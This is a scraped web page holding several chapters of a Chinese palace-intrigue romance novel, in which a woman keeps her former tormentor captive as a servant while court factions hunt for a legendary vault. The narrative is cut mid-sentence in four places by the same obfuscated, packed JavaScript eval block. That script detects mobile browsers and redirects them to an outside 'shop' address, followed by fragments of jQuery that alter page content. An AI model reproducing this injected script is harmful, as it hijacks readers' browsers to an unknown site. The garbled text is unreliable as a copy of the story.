几个侍卫心里莫名一寒…… 世界上怎么有这样的人?分明已是阶下囚、被绑在这里,还有这个胆子这样看他们?他到底是什么人? “喂,你到底是谁啊?” “诶我说新来的!知道这儿的规矩么?小姐以下,那时司公子和秦公子最大,老子第三,想在这儿过得好,你就得懂人情,敢这样看着我们,你活腻了是不是?!” 君琰猛地一怔,身子也跟着晃动了一下。“什么司公子和秦公子?” “哈,你连这都不知道?”侍卫头头大笑,“原本秦公子是被九爷的人赶出去了,结果半月前九爷出了事儿,黑布组织为此就乱了,小姐趁机派人把秦公子给寻回来了,安置在此。至于司公子那就更是没话说了,一直以来都伴小姐左右,两次都是他和小姐联手设计的九爷,最得小姐宠信。” 这些话一字不落地清晰落在他耳中,胸口忽一阵剧烈起伏,麻绳随着他身子的晃动又勒得皮肉一阵生疼,他攥紧了拳,把喉头的血又咽了回去,脸色白得吓人…… 对方见自己说完了他还是没有表示,不觉不满:“喂我说新来的,我可是很给你面子了,连这些情报都告诉你了,你要是还不懂事儿,那可就不够意思了啊。” 他缓了半晌才从牙关里挤出一个字……“滚。” “……你说什么?!”对方顿时气得大骂:“你这不知好歹的东西,好心当成驴肝肺,还敢骂老子!”说着看了眼左右,“兄弟们,给我打!” 几人立即冲上来对他一顿拳打脚踢。 他此时已没了功力,却也不在意这些,那些人的拳脚落在他身上便如毛毛雨一般,只是脑中一遍遍回荡着方才那人说的话,双目空洞,心痛如滴血。 “别只打他身上啊兄弟们,”为首的说,“打他脸啊!” 这人看起来脸色怪难看的,可也着实长得英俊,万一真让小姐看中了,他反过来对付自己怎么办?不如就此将他这张脸给毁了。 “——啪!”“啪!” 他任他们打,眼里没有任何屈服之意,也并没有多么在意。 “你们在干什么?!” ——沈月忽然去而复返。 “小、小姐!” 几人登时慌了,腿一软,纷纷跪了下来,为首的连忙道:“是他!他骂我们,我们才打他的……” “骂你什么了?”她走到这几人面前,不待他们回答便道:“来人,将这几个发卖出去,永生不得再回。” “小姐,小姐!”侍卫们哭喊了起来,“我们不过是教训了一下这个新来的下人,小姐至于动这么大肝火么?” 沈月冷笑,环顾四周——“凭你们也配?以后对他,要打要罚都只能是我来动手,其他人,若是擅自碰了他,就自己去了手再发卖出去。都听清楚了?” 大殿里静了数秒。 “奴才该死啊,奴才该死!求小姐饶命……”那几人连忙齐声求告饶。 “拉出去。”她不想听这些求饶声,直接命人把这几个清除了了事。 不过,自己才进去一会儿这些人就敢如此作贱新来的人,今日是被自己看到了,从前自己没看到的时候,还不知有多少这样的事情……这里的纪律也是时候该整肃一下了。回身,与静儿嘱咐了一些事,便又来到君琰面前。 他方才被打了,俊脸上一片红肿,此刻看见了她,眼角微动了一会儿,又闭上了眼睛。 “才绑这么一会儿就受不了了?”她好整以暇地绕着他踱步了半圈,“不知这样的惩罚,比之水滴刑如何?” 他闻言便知道她是又想到往事了…… 声音沙哑道:“不及你十中之一。” 她的笑容消失了。 “你知道就好。” 他终究还是没能忍住,血咳在胸前了,她抬起手,用白皙的手背接住了他的血。“再坚持一会儿,我有些事儿要去处理一下,方才我已放话,该不会再有人动你了。” “夭夭,夭夭……”他用已经哑得发不出声的嗓音唤着她,她像是没听见,转头又进去了。 “你预备把他怎么样?”司云正在里边做海棠酥,“还是悠着点吧,万一他日后出去了……” “你怕了可以走。”沈月一脸冷漠。 “我不是怕,我是担心你。” “司云哥哥。”她忽然说:“我有事儿想问你。” “何事?” “我阿爹阿娘是你救的,他们获救后也一直是你在暗中照看,对么?” “夭夭妹妹何有此问?” “他们如今转移地方了,但在此之前,我最后一次去看他们时,发现了一件事……司云哥哥,他们好像被人取过血。” 司云心中猛然一惊。 面上露出惊讶之色:“竟有这等事?真的假的?你不会看错了吧?” “我也觉得非常蹊跷,但再三确认过,应该就是被取血了。但当我旁敲侧击地询问时,他们好像是真的什么都不知道,所以我才想来问你。他们自得救后,一直都是你在照看,此事你可知道?” 他露出思量状…… “若真有人暗中这么做了而没被发现,那又是……为什么呢?” “这也是我想不通的地方。那个人要我爹娘的一点血有什么用呢?” 司云陷入沉思……“若真是我的疏失,夭夭妹妹,我罪过大了,得好好向你还有伯父伯母赔不是。” “赔礼倒是不必,你救了我阿爹阿娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192487|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,此等大恩我们都暂还无法报答呢。”她一直看着他的眼睛,许久道:“你再仔细想想,关于此事,真的没有一点线索么?是不是以前有什么被忽略了的东西?” “伯父伯母如今已被转移地方,原来的那个住处,为免留下痕迹被别有用心之人寻到,我已命人毁了,所以现在也没法去查证什么。” “好吧。”她点了点头,“好在他们性命无碍,这是更要紧的。只是取血一事,我着实想不通,而且那个地方除了司云哥哥你,还会有谁知道么?你可有将此事告诉过旁人?” “自然没有!夭夭妹妹,我对天发誓,我不会做这样的事……” “好了好了,你说没有就没有,我又没不信你。” 他这下才松了口气,拿起一只刚做好的海棠酥给她,“放一会儿吃吧,热乎的。” 她有些心不在焉,胡乱几口将海棠酥吃掉,望着地面发呆。 “哎——九公子‘死’了,所以沈月也得‘死’,要不然皇上是不会放过你的。” “此事现在已经四海皆知了吧。如此也好,我能落个清净。我和他之间的戏码,也不需要摆到台面上来演。” “你让武艺德行第一的人当了副阁主,自己却来了这里……我倒想问,你打算一辈子都待在这儿了吗?” “有什么不好吗?”她笑了笑,“这是一座地下宫殿,很大的,住得也舒适,需要什么我就命人去采买。” “我只是替你感到辛苦……若以后还想再去看外面的世界,每一次都得乔装改扮。” “这些都是小事了。司云哥哥,你做两抽屉的海棠酥就够了吧,别做太多把自己累着。”她转身说:“我要去沐浴了。” 刚一出去就听到一阵慌忙离开的脚步声。 不用想就知道是秦璐。 自他被接回来以后,满以为是她又看上他了,殊不知仍是拉他回来付报酬演戏的。 不过,只要能天天看到小姐,做什么他都心甘情愿。做下人么……他本来就是下人啊? 他喜欢巴巴儿地躲在外面听墙根,听小姐和司云说话,听小姐和静儿说话,听小姐和其他所有人说话……沈月心知肚明,也由着他去。 沐浴用的玫瑰花瓣是他去采来的,又大又新鲜,泡在池子里,满池清芬。 对左右人使了个眼色,便有人去将君琰放下来,然后带着他来到了这里。 他显得疲惫不堪,也痛苦不堪,左右人很有眼力见儿,把人送到后就走了,顺带将浴室的门关了起来。 她没有多说别的话,背对着他抬起了手。 他一怔,听见她说——“下人就要做下人该干的事儿。现在,伺候本小姐沐浴。” 他看着那近在咫尺的熟悉的身影,眼眶酸了。心念一动,生生忍住想将她即刻揽进怀中的欲望,抬手,极轻极小心地开始为她解外衣…… “怎么这么慢,你是有多不情愿?”半刻后她打断了他的动作,转头来看着他,目光狡黠而灵动—— “实不相瞒,我这池子里除了玫瑰花瓣还加了疗伤的药,泡一泡是上好的药浴,你是不是看出来了,想随我一起下去啊?” “……没有!”他即刻否认。他只是第一次给女孩子宽衣,还不习惯罢了。 “本小姐的下人,伺候不好主子是要挨板子的。”她又转过身去张开双臂,“再给你一次机会。” 68. 取血 水温刚刚好,她泡在里边,捧了玫瑰花水洒在肌肤上,他在她身后给她搓背按揉。男人的大掌温厚,按得她十分舒适。 从之前坠崖到现在有多久了?可能少说也有半个月以上吧。无殇、陆云他们都以为自己已经死了么?现在外面的情况又是怎样? 他想知道这些,但也知道她不会告诉他,只能一面讨好她,一面自己猜想。 他们若真当他死了…… 哎。 悬着的心,终于碎掉了。 “你是不是想问我外面的情况啊?”水汽氤氲间,她开口了,“看来你也是很在意你那些属下的嘛。” “那你会告诉我吗?”他的声音虚浮,没有一点力气,若不是离得近,她恐怕还听不清他在说什么。 “不会。我为什么要告诉你?你有在意的人,我没有,呵。你当初怎么对我的,现在我要一样样向你讨回来。” 他不再说话了,只是继续用力给她按着…… “好了,停下。”她喊了停,像游鱼似的和他拉开了一点距离,飘逸的青丝在水上飘过一道弧线,“去外面喊秦公子进来。” 君琰的脸色变了。 “什么?” “你聋了?本小姐不想重复第二遍。” 她知道他分明就是听清了的。 她要干什么?!她现在……现在要叫别的男人进来?! 温泉池中的女子巧笑着,“秦公子为我准备了另一套搓按的手法,可新鲜着,快叫他进来呀。我说的话你没听见?” 他站了起来,因蹲了太久眼前一阵晕眩,耳鸣声直响……他知道自己现在是她的下人,他不该违逆她的,可是…… 他终于道:“若我说不呢?” 沈月睁大了眼睛。“那我就让人把你抬下去,再请秦公子进来。另外,你还要因你的行为受到惩罚。” “夭,夭夭……”他平复了一下心绪,又朝她走了过来,蹲下看着她。“你不要这样,我求求你……” “求我?”她似是想了一会儿,“你现在能拿什么来求我?” “你需要的一切,我都会为你取来,不论是什么。” 她忽然伸出指头,点了点他——“你出去,本小姐不需要扫兴的人。” “夭夭……” 她冷了脸,“出去!” 他狼狈地走了,衣服被打湿了许多,到了外边,只觉身上更冷了。 眼睁睁看着秦璐和自己擦肩而过,还是进去了…… “喂!那个新来的怎么回事?”有人看见了他。 “晕倒了?!真不经罚。” “小姐也没让他干什么呀?不就是……” 秦璐走到那间浴室的外面就停了下来,没再往里去。 从里边远远地传来了沈月的声音——“你就站在那里,站一刻钟,出去后该怎么说你心里明白。” 秦璐咽下心头的苦水,恭敬答道:“是,小姐。” 君琰在痛苦中晕倒,亦在痛苦中醒来,醒来时他睡在一柴草堆上,周围一个人也没有。 他感觉浑身难受,一下子竟坐不起来,张了张嘴也发不出声音来,喉头干得厉害,桌上却也没有水喝。 他又有些不明白她的心思了,她是秦璐和司云都喜欢吗?若只喜欢司云,又为什么让秦璐也来? 她对他,还是留有那一星半点的在意,可是…… 他抬手,张开五指,看着自己的手。 最近他的身子越来越差,受伤中毒太多次,人已麻木…… 正想着,忽然有人进来了。 “你醒了啊。” 眼角一动,起初还以为是她,再定睛一看却是秦璐。 “九公子,没想到你也有今天啊。想当初你命人抓了我送出浙江的时候,是何等的威风,今天怎么成了阶下囚呢?” 君琰一见不是沈月,便没有了兴致,对秦璐的冷嘲热讽丝毫没有兴趣。 “不过没有关系,我秦璐也不是个记仇的人,其实我现在过来,是出于好意。” 君琰闭眼睡觉,对于他的“好意”也并无兴趣。 “九公子还是和从前一样不爱搭理人啊,那我若说,下面我要说的话和小姐有关,你可愿听?” 君琰一下睁开了眼睛。 “噢,果然你还是在意小姐的,看在这份心意上我就告诉你吧。” 秦璐心里其实也一直存着个疑影儿,关于小姐与九公子的关系,他一直都搞不清楚、理不清头绪,遂也想看看,九公子为了小姐究竟能做到哪一步。 “其实她生病了。” 秦璐一面说,一面观察着对方的反应,“从前她还在景王府时,你的王妃要治病,便是得取人血做药引是不是?” 君琰一怔。她竟连王府的事和自己从前的身份也告诉秦璐了么? 已经与他亲近到了这般地步? 病了?什么时候的事?他怎么没看出来? “现在小姐得的也是同一种病,自然,医治的方法也是一样的,只看九爷你愿不愿意了。” 君琰吃力地坐了起来,看着秦璐。 “你是不是想问那我为何不去做? 因为我还做不到。 哪怕小姐很喜爱我,我也不能做到。 你若是可以做到,小姐必定会很感激你,说不定就和你冰释前嫌了。 等你得了小姐的芳心,别忘了分我一些好处就行。” 君琰忘了去问此话真假。 秦璐走后,他毫不犹豫地拿起了手边的刀。 身子虚弱也管不得了,抬起刀便划了下去。 于上过沙场的人而言,一刀根本算不了什么,他将血析出滴在碗中,回忆着当初张美珠治病所用的那个药方…… 奇怪,夭夭竟也得了那种病么? 管不了了,万一是真的呢?另外,秦璐有必要白跑来和他编排这么一段话? 若他的血当真有用的话,那也不枉一切了…… 却说最近一月,皇城之中暗流涌动……平静的表面之下,掀起的是海底巨浪。 君朝雨已经知道君琰“死了”。和他一起“死”的,还有沈月。 九弟终究还是被那个女人害死了! 自己应该怎么做? 杀沈月,则失去他与九弟间的兄弟感情;不杀沈月,沈月便杀九弟。 赫连雪于紫宸殿中侍奉笔墨,说起此事,也是一脸的哀戚。 “朕不怪你,你做的一切都是为了朕好,我们谁都没想到,事情会变成这个样子……可沈月若真想和九弟同归于尽,为何不一开始就这么做?” “‘情’之一字,不能言说,我想他们二人或许都有各自的苦衷吧?”赫连雪纤手磨着墨,轻叹一声,“一个多月了,陛下也要节哀顺变、珍重龙体啊。” “近来兄弟一个个都走了……如今还在的,只有一个七弟。朕有时候在想,什么时候轮到朕……” “皇上可千万别这么说。人自打一出生就是在告别,同一切人、一切事告别,若是这样就失去了活着的念头,是不该的,更何况皇上是天子,就算不为自己,也该为百兆臣民而活。还有……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199573|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她欲言又止。 “还有什么?” “……还有,皇上若走,妾身,便为你殉葬。” “荒唐!”他即刻说,“朕不要你殉葬,也没有人能逼你殉葬!” “楚国祖制如此,若真有那样一天,妾身绝不独活。” “……朕答应你,不会有那么一天的。” 赫连雪一笑,“那皇上还要说刚才那样的话么?” 君朝雨也笑了,“是朕的不是,该打,该打。” 两人又你依我秾了好一会儿,他看向窗外,想到近来各省的奏报,悠悠叹息:“今年的雨好少啊,朕只怕多地又要出现旱情了……万方有罪,罪在朕躬一人而已。” 赫连雪抱着他,柔柔地道:“皇上若真有过错,妾身与你一起承担。” “哎——身边的人是越来越少了,好在朕还有你,否则这日子真不知该怎么过下去了。朕本想牵连星月阁,可到头来却又罢了,这些年他们做的事,朕都是看在眼里的,有时候局势瞬息万变,多方利益牵扯勾连,朕想做些什么,也是难得很呐。” “妾身知道陛下的苦衷,但是陛下,您也有功不是?妾身听说陛下即位两年以来,国库的银子翻了两倍呢,这难道不是大功?朝廷到处都要用钱呢。” “小机灵鬼。”他刮了刮她的鼻子,“对了,御膳房昨儿做了样新糕点,很好吃,朕去叫人拿给你尝尝,晚上你就也留下吧。” 她显见地红了脸,“皇上……” “都老夫老妻了还这么害羞呢。朕还有件事要告诉你……” “什么事?” “以后别回你那宫殿了,就和朕一起住在紫宸殿,这样朕时时刻刻都能看到你。” “诶?”她眨了眨眼睛,“这不合规矩吧?” “朕说的就是规矩。后宫里的女子,一个个待在自己宫殿里等着朕翻牌子,她们不烦朕也烦,朕不想你也和她们一样,你得是最特别的那一个,知道吗?从即日起,就在紫宸殿住吧。” “……妾身谢陛下恩典。” “好啦,随朕去吃东西吧。” 天色晚了。 偌大的地下宫殿里灯火通明,倒比白天还要亮堂许多。 沈月小憩方醒,看见君琰走了过来。 他手里还端着一碗什么东西…… “做什么?”她坐起来,一手支着腮帮子,看向他。 他把药膳放在了桌上。 “听说你身子不适,把药喝了吧。” “什么?我看身子不适的是你吧。”她看着他苍白而无一点好转的脸色,下了定论。“本小姐不需要喝药,你喝了吧。” “这是给你的。” 鼻尖忽飘来一股血的味道…… 她又是医者,往那药膳里一看,便已经意识到了什么。 一时间放下撑着腮帮子的那只手,整个人都坐了起来。“谁让你这么干的?拿走。” 他没有动,仍然坚持。 坠崖之后他的情况是这样,想来她也好不到哪去,可能只是不想与他说罢了。 “我说拿走。”她又重复了一遍,左手放到了那药碗的边缘。 他看向那只手,正在他以为她打算喝了时…… “啪!” 她的手轻轻将药碗往桌边缘一推,那碗药全都泼在了地上,碎瓷片溅了满地,差点飞到他身上来。 手上被割伤取血之处隐隐作痛,他听见她说:“从前你要取我的血给别人做药引,如今你却拿自己的血来给我做药引……你以为我很稀罕吗?” 69. 醋吻 一瞬的怔然。 他没说什么,低下头去收拾地上的碎片。 “停。是谁和你说我身子不适的?” “秦璐。” 沈月敲了敲桌子。“他若如此无聊,就罚去做苦力吧。” “小姐若无恙是最好,大概是属下看走了眼……属下也是担心小姐。”秦璐听见声音就进来了,蹲下来帮君琰一起收拾碎片,“我们有什么不对的,小姐要打要罚都好,只是别气坏了身子,不划算。” 她好像没听见一般,一抬眼看见桌上那壶酒,抬手拿过来就往口里灌。 君琰立即站了起来,走过去,抓住她的手,“不要喝这么多酒。” 她将他的手甩开,“第二次不听话,秦璐,你说按本小姐的规矩该如何罚他?” 秦璐起身答:“回小姐的话,理当杖责三十。” 三人都沉默了一阵子。 “在哪领罚?”君琰问秦璐。 “慢着。”沈月敲了敲桌子,“本小姐都还没发话,你去领哪门子的罚?秦璐,先将他这比记下,待我日后再与他一起清算。” 他看向她,她迎向他的目光去:“别以为我是心软,我不过是知道你很经打,三十杖责对你来说根本不算什么,毛毛雨似的,还是日后记多了板子一次性打完的好。” “嗯,好喝……”方才甩开他的手时酒壶也跟着飞了出去,还未喝完的那一半酒可惜了,她便伸手去拿新的一壶,开了盖儿,继续往嘴里灌,片刻后便开始喃喃自语了:“一个,两个……” “这是烈酒!”他拿过她手里的酒壶,看见里头只剩一口酒了,不由又急又气,“你怎么能喝这么烈的酒呢?” “少说几句吧,九公子,一会儿小姐清醒过来又要多记你三十板子了。”秦璐好心提醒。 “那你们就这样看着她喝?她以前几乎不喝酒的,不可能酒量好,一下子喝这么烈的酒,怎么受得了?” “不喝对她身子好,但是对她心情不好,我们也很难做,既不想小姐身上不舒服,也不想小姐心里不舒服。” “你去拿些解酒药来。”君琰道,“快啊。” 秦璐叹了口气,“你若一下子给她吃了解酒药,她清醒早了,会不高兴的。” “所以就这样任由她瞎折腾自己么?你去,马上去!她要生气我担着。” “那好吧。”秦璐正要走,沈月忽然站起来了,拉住了他。 君琰在一旁震惊地看着…… “别走,走什么……?”姑娘醉眼迷离,双颊绯红,两只小手拽住了秦璐胸前的衣衫,和他贴得很近,语气也醉醺醺的:“我要你留下来——陪我!” “……啊?”秦璐一时惊慌,“我去给你拿解酒药小姐……” “什么解酒药?!不许去,你不许去!”她忽然抬手,抚上他的脸颊,“你是,你是……” “小姐,我是秦璐啊。” “不。”她摇头,“你不是秦璐,不是……” “小姐,你喝醉了。” “我没醉!”她继续看着他,“是你,就是你……对,我要找的人就是你……别走!” 忽然她拉着他胸前的衣襟往下拽,下一瞬就要亲吻上去,君琰立马冲了过来,拼着力气把他们两人分开了! “你又是谁?”喝醉的了沈月看着他,君琰也正看着她。 “你——坏我好事!”她指着他。 紧接着又转向秦璐,“别理他,咱们继续……” “夭夭!”他再次上前,从后抱住了她,“你闹够了没?你喝醉了!”一面拼命给秦璐使眼色,“快去拿解酒药啊!” “哦,哦哦!”秦璐屁颠屁颠地出去拿药了。 刚一踏出房门忽觉得不对劲。 小姐喝醉了,就要吻他,这是他做梦才能得到的!刚才这个梦就在支持之间,却被九公子给阻拦了!而且自己为什么会乖乖听了他的话退出来?!他不是一直很盼望能与小姐亲近的吗? 中邪了,难道是? 可是又不好就这样返回……跌足叹了口气,便去拿药。 屋内喝醉的沈月就要去追秦璐,被君琰从身后死死抱住,那语气咬牙切齿:“你知不知道自己在做什么?” 她方才的一番言行,让他大为受伤,然他还是得稳住神,绝不能让她亲别的男人,也绝不能让别的男人亲她。 “要你管!你谁啊?!”她挣脱不开,忽一口咬在他的手臂上! 一阵剧痛。 可比起他之前遭受的伤痛来说显然是不足一提。 血顺着手臂流了下来,她松嘴时,在他胳膊上留下一圈牙印。 沈月扭头怒视着这个人。 他不怕痛吗?自己都下这么狠的嘴了,为何他还不放开? 君琰看着她,目光却平静了下来,清浅如月,甚至还带了几分不着痕迹的温和笑意,轻轻问:“你是属狗的吗?” “当然不是!”她意识混乱地道:“你到底是什么人,怎么进来的?这里是天宫……天宫!” “好好好,是天宫,你是天宫里的神女啊,我是你殿外的侍卫,方才见你要被人轻薄,这才进来保护你的。” “轻薄?没有啊!是我要轻薄别人,那个是我喜欢的人!” 他听着心里一阵刺痛,面上却仍勉强笑着:“你喜欢的人太多了,但他们没一个是值得的,都只会辜负你,让你不开心。” “……你胡说!”她似是折腾累了,躺在他怀中开始昏昏欲睡,“你胡说……” “睡吧。”他低头,鼻尖轻抵在她耳后,“睡着了,总比去亲别人好。” “没睡!我好困,但是也睡不着……侍卫大哥,你知道是为什么吗?” “当然。”他想起方才她就要亲吻秦璐的情景,早就气不打一处来,一时间温柔地将她掰了过来正面对视,俯身向她——“是因为,你还缺一个吻。” “不行,你怎么能把九公子和她单独留在一起?!”司云愤懑地说,“你也太不靠谱了!” 秦璐仍有些懵,“我当时脑子忽然一片空白,也不知道为什么,就听了他的话。” “那还不赶快回去!要是九公子对她做了什么,秦璐,别说她了,我第一个就不会饶过你!”司云正带着秦璐怒气冲冲地赶过来,一进屋,却看到他们二人亲吻的画面。 君琰双手捧着沈月的脸,深情地吻着她,两人正情意深浓,吻着吻着,她一下子就躺下来了,他欺身在上…… “你,你起开!”司云愣在原地,数秒后才想起自己是来干嘛的,忙提起胆子大喝一声。 对方毕竟是九公子,在沦落于此之前,也是叱咤风云的人物,能多看他一眼便是恩赐,何时能轮到自己对他大呼小叫…… 但今时不同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“说起来,司公子,我还有些话要好好问问你。”君琰忽然严肃了下来,九爷从前的那股气势,一下子又回到了他身上。“从前数次放过你都是因为她。若不是你在她心里还有点价值,你以为自己现在还能站在这里?” “那在下还要感谢九爷的大恩大德了,感谢您灭她全家还独独给她留我一个。” 司云语出讥讽,君琰却并不在意。 “我平生最厌恶的,就是两面三刀、欺软怕硬的小人。”他上前一步,眼神犀利:“你这个人,绝不是夭夭以为的那样简单。” “你什么意思?有话不妨明说。” “她念在你是旧人,从未怀疑过你,但你自己都做过些什么事?比如……”说至此话锋忽一转,“洛氏夫妇原本在我这里,却被你带走了,并分别取了他们一管血是不是?你一个小小的七品官还做不到从我手底下抢人,说,幕后是谁?” 司云脸色一白。 “你在胡说什么?我听不懂你的话。” “你觉得我现在武功全废沦为阶下囚,奈何不了你了,所以你可以和我大声说话。可你却不知道,我之所以这样,是因为我自己愿意这样。这世上唯一能让我心甘情愿的,只有一个她。所以她想保的人,我都会尽力保全。然而很不幸,你根本配不上她的信任与维护。” 他又上前一步,咄咄逼问,哪怕武功全无,也依然气势凌人:“再问一次,那个找你合作的人,是谁?” 70. 暗流 燕国国君赫连澈正一脸愁容地拿着长姐寄来的密信,皇后在旁为他捏肩。 “怎么陛下一脸不高兴的样子,长公主来信说什么了?” 半晌他叹了口气,隐有怒气:“又是什么消息都没有!她都去燕国多久了?本月两次,上月三次,一直都是什么消息没有,朕就不信!” “陛下息怒,兴许是对方藏得太深,确实叫人难以发现呢?若真有什么情况,长公主一定会和您说的呀。” “什么难以发现,她如今是君朝雨最宠爱的贵妃,难道还打探不到这事儿吗?我看,她和阿尔汉一样,都是被男人迷晕了头!她们两,一个跑到南疆去,为了景王不惜与楚国开战,最后把自己也赔进去了,一个表面上说什么为了两国和睦,其实就是自己难忘旧情。嫁出去的姐妹泼出去的水,这心啊,早就向着别人了。” 皇后想了一会儿,“长公主其实也不是什么都没说,臣妾倒是觉得,她是话里有话。” 赫连澈这下来了兴趣,“那你觉得她的话外音是什么?” “臣妾要是说了,还望陛下莫要动怒。” “……你说吧。” 皇后缓了缓道:“这一代代的雄主,从未停止过开启天机库的努力,但也从来没有人成功将它打开过,反倒为此耗了不少人力财力,甚至是搭上许多无辜者的身家性命,可是说到底,那也只是一个谶言而已。 你们之所以都深信不疑,无非是因为成了习惯,无非是因为担心那东西提前被别国寻到。长公主她向来仁善,定是不想陛下再在此事上耗费人力与心力了,所以才会如此说……不论有没有线索,她都会如此说。” “她不想?”赫连澈思量道:“可她之前不是这么说的。” “那只是她表面上暂时的迁就。以臣妾对长公主的了解,她应该是不希望陛下继续寻找天机库中密宝的。” “……哼!” 赫连澈听得愈发生气,“朕不去找,让楚国国君去找,让南疆让西戎去找?!让别国找到了,反过来灭了大燕?” “陛下息怒,长公主必然也不是这个意思。她觉得陛下可以放弃寻找,定然是因为眼下别国之所为对我们还没有威胁。” “等到有威胁就晚了!朕就不信,君朝雨难道就不找了吗?”说至此,忽想到了什么,道:“小齐可有来信?” “有呢,正要拿给陛下看。” 赫连澈展开读小齐的信,边读边自语…… “她说长姐曾在醉酒后误入紫宸殿内的一个密室,密室内有一具干尸……然后呢?”他的视线往下扫去,“没了?……那具干尸是做什么用的,是谁?” 皇后道:“据小齐的禀报,长公主目前一切行为并无不妥,陛下,她毕竟是你的长姐,你又有什么好疑心她的?” 赫连澈自然不承认,“我也是为她担心而已。哎——她这头要是不行,朕还得再多派些人去楚国。乌有先生说了,能开启天机库的人就在楚国,朕就不信!” 皇后闭了闭眼……“哎。” “陛下,长公主来了本月第三封信。”暗卫又进来了,递上信便出去。 赫连澈眼睛一亮,连忙展信一阅。 片刻后…… “看来你对她,还是颇为了解的啊。”赫连澈将信递给她看—— “皇上容禀,我几番查探,世上已无能开启天机库之人,天机库之传说也纯属子虚乌有。非独我一人作此想法,楚国陛下如今亦无打开天机库之意愿,而南疆、西戎两国刚败于楚,无余力与燕、楚两国争锋。只要燕楚联姻并就此事达成一致,则不日天机库之谶言灭,天下归安。昔日我高祖、文宗皇帝几番派人寻七星后人,损兵折将,耗费民财,不可数计,终一无所获,此谶言之流弊甚矣。 退而言之,即便皇上真信天机库存在之虚言,天机库下确有秘宝机甲图,则其开启之日,实为四海遭难、天下被毁之时,四国平衡被破,君上一宝在手而致九州狼烟纷起,即使终成天下之主,又有何颜面做九州万民之君父?正因机甲之摧毁力太强,故当慎之又慎,父皇、皇爷爷于此事上执迷不悟,若谶言能止于你我一代,则天下幸甚。” 赫连澈:“看见了吧?她这是在说教朕,其实她就是不想找了,所以和朕摊牌了!” “陛下……”皇后将信放回桌上,“陛下也别怨长公主,她毕竟是您的长姐。且她信上所言,也并不是毫无道理。” “连你也开始胳膊肘向外拐了?” “臣妾不是这个意思,臣妾也是想为陛下好、为燕国好。长公主当初和亲楚国,一方面是为了补阿尔汉公主捅出的篓子,一方面也是受命于陛下去找那个能开天机库的人,现在她是楚国国君最宠爱的妃子,臣妾听说楚国国君还特准她直接住在紫宸殿,只要能讨她高兴,甚至也能下令其她所有妃嫔都不许出门,以免让她看见了心烦…… 以她这般帝宠,能接触到的消息情报应该不会少,既然连她都这样说,那么可能事实就是如此了。无论怎么说,长公主也是大燕最尊贵的公主,陛下却总觉得她会向着楚国而背叛母国,是否疑心过重了?” “皇后,你要知道,”赫连澈叹了口气,“一个人只要不想做一件事,一百个一千个理由也能找得出来。长姐自小向慕楚国文化、读楚国的书,漂亮话她难道还不会说么?燕国昭华长公主这个身份现在已经拴不住她了,她又那么喜欢楚国国君,十年都从未忘记过他,现在自然也是向着他的。这封信看起来大义凛然,其实就是为她自己找的借口,是她辜负了朕的信任和期待!” 皇后这下不敢再说什么了,敢情自己说的话对方是一个字也听不进去……“那陛下想要怎么办?” “长姐已经嫁到楚国去了,她的心是回不来了。朕只能再派人去探……一定得抢在他国之前,找到这个能开启天机库的人!” 昏暗的室内只有一盏灯,君琰再次逼问司云:“说。说出来,便饶过你。” 司云:“你能饶过我什么?你自己现在也不过是个阶下囚而已,武功全废,还不如我。” 君琰:“我可以将这些都告诉她。当然了,她可能一开始不会信,但她一定会去查证,到时,你就自求多福。” “她当然不会信你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222882|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了!”司云已出了一背的冷汗,“你要干什么尽管干!” “诶,等一下……”秦璐在旁听得一脸懵,想要融入,“你们两在说什么,我怎么听不懂?” “你不需要懂。”司云说。 “你们别吵了吧……”秦璐企图劝架,“咱们都是为了小姐好,何必这样?一会儿小姐醒来看到会不高兴的。” 君琰冷笑,“你不说也可以,多行不义必自毙。” 司云:“这句话应当送给你!” “我不怕自毙——你怕。” “至少我始终都是为了得到她!”司云说,“不像你,还有其他许多复杂的目的!” “最初是,后来不是。”君琰说,“但这些没必要让你知道。” “你方才轻薄了她。”司云愤愤地说,“等她醒来,我会告状的!” 君琰不再和他说话,找秦璐拿了解酒药,将她抱起在怀中,她的嘴撬不开,他便亲自喂药。 